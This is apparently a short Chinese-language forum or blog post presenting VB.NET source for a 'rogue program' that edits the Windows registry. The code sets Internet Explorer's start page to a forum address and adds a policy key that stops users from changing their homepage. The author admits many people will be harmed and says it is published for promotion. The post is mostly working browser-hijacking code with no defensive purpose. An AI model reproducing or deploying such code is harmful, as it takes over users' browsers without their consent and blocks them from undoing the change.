注册表修改（流氓亏程序）

今天编写了一个修改注册表的程序，这个出来估计很多人会受害。不过为了宣传，我。我。我。。。。
Imports Microsoft.Win32

Function WritteRgedit()
Dim Reg As RegistryKey
Dim regIE As RegistryKey
Dim subregIE As RegistryKey
Reg=Registry.CurrentUser.OpenSubKey("software\microsoft\Internet Explorer\main",true)
Reg.SetValue("Start Page", "http://www.itnz.cn/bbs")
regIE=Registry.CurrentUser.OpenSubKey("software\Policies\microsoft\Internet Explorer",true)

if regIE is nothing then
 regIE=Registry.CurrentUser.CreateSubKey("software\Policies\microsoft\Internet Explorer") 
end if
subregIE=Registry.CurrentUser.OpenSubKey("software\Policies\microsoft\Internet Explorer\Control Panel",true)
if subregIE is nothing then
 subregIE=Registry.CurrentUser.CreateSubKey("software\Policies\microsoft\Internet Explorer\Control Panel") 
end if
dim regIEInt as integer=1
if(not subregIE is nothing) then
subregIE.SetValue("HomePage",regIEInt)
end if
End Function